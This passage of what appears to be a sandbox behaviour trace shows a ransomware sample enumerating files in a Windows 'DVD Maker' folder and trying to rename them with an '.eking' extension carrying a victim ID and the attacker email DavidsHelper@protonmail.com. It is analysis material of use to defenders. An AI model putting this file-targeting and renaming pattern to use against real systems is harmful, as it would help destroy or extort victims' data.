hTemplateFile=0x0) returned 0xffffffff [0178.139] SetEvent (hEvent=0x174) returned 1 [0178.139] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Pipeline.dll" (normalized: "c:\\program files\\dvd maker\\pipeline.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0178.139] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=1852928) returned 1 [0178.140] CloseHandle (hObject=0x1e4) returned 1 [0178.140] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Pipeline.dll" (normalized: "c:\\program files\\dvd maker\\pipeline.dll")) returned 0x20 [0178.140] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Pipeline.dll" (normalized: "c:\\program files\\dvd maker\\pipeline.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Pipeline.dll.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\pipeline.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0 [0178.140] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Pipeline.dll.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\pipeline.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Pipeline.dll" (normalized: "c:\\program files\\dvd maker\\pipeline.dll")) returned 0 [0178.140] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\PipeTran.dll" (normalized: "c:\\program files\\dvd maker\\pipetran.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0178.141] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=1884160) returned 1 [0178.141] CloseHandle (hObject=0x1e4) returned 1 [0178.141] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\PipeTran.dll" (normalized: "c:\\program files\\dvd maker\\pipetran.dll")) returned 0x20 [0178.141] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\PipeTran.dll" (normalized: "c:\\program files\\dvd maker\\pipetran.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\PipeTran.dll.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\pipetran.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0 [0178.141] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\PipeTran.dll.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\pipetran.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\PipeTran.dll" (normalized: "c:\\program files\\dvd maker\\pipetran.dll")) returned 0 [0178.142] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\rtstreamsink.ax" (normalized: "c:\\program files\\dvd maker\\rtstreamsink.ax"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0178.142] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=78848) returned 1 [0178.142] CloseHandle (hObject=0x1e4) returned 1 [0178.142] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\rtstreamsink.ax" (normalized: "c:\\program files\\dvd maker\\rtstreamsink.ax")) returned 0x20 [0178.143] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\rtstreamsink.ax" (normalized: "c:\\program files\\dvd maker\\rtstreamsink.ax")) returned 0x20 [0178.143] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\rtstreamsink.ax.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\rtstreamsink.ax.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0178.143] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\rtstreamsink.ax" (normalized: "c:\\program files\\dvd maker\\rtstreamsink.ax"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0178.143] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\rtstreamsource.ax" (normalized: "c:\\program files\\dvd maker\\rtstreamsource.ax"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0178.325] GetFileSizeEx (in: hFile=0x1f4, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=52736) returned 1 [0178.325] CloseHandle (hObject=0x1f4) returned 1 [0178.325] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\rtstreamsource.ax" (normalized: "c:\\program files\\dvd maker\\rtstreamsource.ax")) returned 0x20 [0178.325] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\rtstreamsource.ax" (normalized: "c:\\program files\\dvd maker\\rtstreamsource.ax")) returned 0x20 [0178.325] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\rtstreamsource.ax.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\rtstreamsource.ax.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0178.325] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\rtstreamsource.ax" (normalized: "c:\\program files\\dvd maker\\rtstreamsource.ax"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0178.326] SetEvent (hEvent=0x174) returned 1 [0178.326] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\SecretST.TTF" (normalized: "c:\\program files\\dvd maker\\secretst.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0178.327] GetFileSizeEx (in: hFile=0x1f4, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=98824) returned 1 [0178.327] CloseHandle (hObject=0x1f4) returned 1 [0178.327] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\SecretST.TTF" (normalized: "c:\\program files\\dvd maker\\secretst.ttf")) returned 0x20 [0178.327] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\SecretST.TTF" (normalized: "c:\\program files\\dvd maker\\secretst.ttf")) returned 0x20 [0178.327] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\SecretST.TTF.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\secretst.ttf.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0178.327] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\SecretST.TTF" (normalized: "c:\\program files\\dvd maker\\secretst.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0178.328] SetEvent (hEvent=0x174) returned 1 [0178.333] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\Common.fxh" (normalized: "c:\\program files\\dvd maker\\shared\\common.fxh"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0 [0178.335] GetFileSizeEx (in: hFile=0x1c0, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=12516) returned 1 [0178.335] CloseHandle (hObject=0x1c0) returned 1 [0178.335] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\Common.fxh" (normalized: "c:\\program files\\dvd maker\\shared\\common.fxh")) returned 0x20 [0178.335] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\Common.fxh" (normalized: "c:\\program files\\dvd maker\\shared\\common.fxh")) returned 0x20 [0178.335] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\Common.fxh.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\shared\\common.fxh.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0178.336] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\Common.fxh" (normalized: "c:\\program files\\dvd maker\\shared\\common.fxh"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0178.336] SetEvent (hEvent=0x174) returned 1 [0178.336] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DissolveAnother.png" (normalized: "c:\\program files\\dvd maker\\shared\\dissolveanother.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0178.339] GetFileSizeEx (in: hFile=0x1ec, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=27935) returned 1 [0178.339] CloseHandle (hObject=0x1ec) returned 1 [0178.339] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DissolveAnother.png" (normalized: "c:\\program files\\dvd maker\\shared\\dissolveanother.png")) returned 0x20 [0178.339] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DissolveAnother.png" (normalized: "c:\\program files\\dvd maker\\shared\\dissolveanother.png")) returned 0x20 [0178.339] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DissolveAnother.png.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\shared\\dissolveanother.png.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0178.339] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DissolveAnother.png" (normalized: "c:\\program files\\dvd maker\\shared\\dissolveanother.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0178.340] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DissolveNoise.png" (normalized: "c:\\program files\\dvd maker\\shared\\dissolvenoise.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0178.340] GetFileSizeEx (in: hFile=0x1ec, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=751669) returned 1 [0178.340] CloseHandle (hObject=0x1ec) returned 1 [0178.340] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DissolveNoise.png" (normalized: "c:\\program files\\dvd maker\\shared\\dissolvenoise.png")) returned 0x20 [0178.340] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DissolveNoise.png" (normalized: "c:\\program files\\dvd maker\\shared\\dissolvenoise.png")) returned 0x20 [0178.340] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DissolveNoise.png.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\shared\\dissolvenoise.png.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0178.341] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DissolveNoise.png" (normalized: "c:\\program files\\dvd maker\\shared\\dissolvenoise.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0178.341] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_Buttongraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\16to9squareframe_buttongraphic.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0178.343] GetFileSizeEx (in: hFile=0x1ec, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=10123) returned 1 [0178.343] CloseHandle (hObject=0x1ec) returned 1 [0178.343] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_Buttongraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\16to9squareframe_buttongraphic.png")) returned 0x20 [0178.343] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_Buttongraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\16to9squareframe_buttongraphic.png")) returned 0x20 [0178.343] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_Buttongraphic.png.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\16to9squareframe_buttongraphic.png.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0178.343] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_Buttongraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\16to9squareframe_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0178.344] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\16to9squareframe_selectionsubpicture.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0178.344] GetFileSizeEx (in: hFile=0x1ec, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=3286) returned 1 [0178.344] CloseHandle (hObject=0x1ec) returned 1 [0178.344] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\16to9squareframe_selectionsubpicture.png")) returned 0x20 [0178.345] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\16to9squareframe_selectionsubpicture.png")) returned 0x20 [0178.345] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_SelectionSubpicture.png.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\16to9squareframe_selectionsubpicture.png.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0178.345] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\16to9squareframe_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0178.346] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_VideoInset.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\16to9squareframe_videoinset.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0178.347] GetFileSizeEx (in: hFile=0x1ec, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=3316) returned 1 [0178.347] CloseHandle (hObject=0x1ec) returned 1 [0178.347] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_VideoInset.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\16to9squareframe_videoinset.png")) returned 0x20 [0178.347] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_VideoInset.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\16to9squareframe_videoinset.png")) returned 0x20 [0178.347] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_VideoInset.png.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\16to9squareframe_videoinset.png.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0178.348] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_VideoInset.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\16to9squareframe_videoinset.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0178.348] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_Buttongraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\4to3squareframe_buttongraphic.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0178.349] GetFileSizeEx (in: hFile=0x1ec, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=11861) returned 1 [0178.349] CloseHandle (hObject=0x1ec) returned 1 [0178.349] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_Buttongraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\4to3squareframe_buttongraphic.png")) returned 0x20 [0178.349] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_Buttongraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\4to3squareframe_buttongraphic.png")) returned 0x20 [0178.349] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_Buttongraphic.png.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\4to3squareframe_buttongraphic.png.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0178.349] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_Buttongraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\4to3squareframe_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0178.350] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\4to3squareframe_selectionsubpicture.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0178.350] GetFileSizeEx (in: hFile=0x1ec, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=3304) returned 1 [0178.350] CloseHandle (hObject=0x1ec) returned 1 [0178.350] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\4to3squareframe_selectionsubpicture.png")) returned 0x20 [0178.350] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\4to3squareframe_selectionsubpicture.png")) returned 0x20 [0178.350] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_SelectionSubpicture.png.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\4to3squareframe_selectionsubpicture.png.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0178.351] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\4to3squareframe_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0178.351] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_VideoInset.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\4to3squareframe_videoinset.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0178.352] GetFileSizeEx (in: hFile=0x1ec, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=3467) returned 1 [0178.352] CloseHandle (hObject=0x1ec) returned 1 [0178.352] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_VideoInset.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\4to3squareframe_videoinset.png")) returned 0x20 [0178.352] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_VideoInset.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\4to3squareframe_videoinset.png")) returned 0x20 [0178.352] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_VideoInset.png.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\4to3squareframe_videoinset.png.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0178.352] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_VideoInset.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\4to3squareframe_videoinset.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0178.353] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\babyblue.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyblue.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0178.357] GetFileSizeEx (in: hFile=0x1ec, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=12349) returned 1 [0178.357] CloseHandle (hObject=0x1ec) returned 1 [0178.357] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\babyblue.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyblue.png")) returned 0x20 [0178.357] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\babyblue.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyblue.png")) returned 0x20 [0178.357] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\babyblue.png.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyblue.png.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0178.357] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\babyblue.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyblue.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0178.358] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboymainbackground.wmv"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0178.359] GetFileSizeEx (in: hFile=0x1ec, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=341322) returned 1 [0178.359] CloseHandle (hObject=0x1ec) returned 1 [0178.360] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboymainbackground.wmv")) returned 0x20 [0178.360] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboymainbackground.wmv")) returned 0x20 [0178.360] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainBackground.wmv.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboymainbackground.wmv.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0178.360] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboymainbackground.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0178.361] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboymainbackground_pal.wmv"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 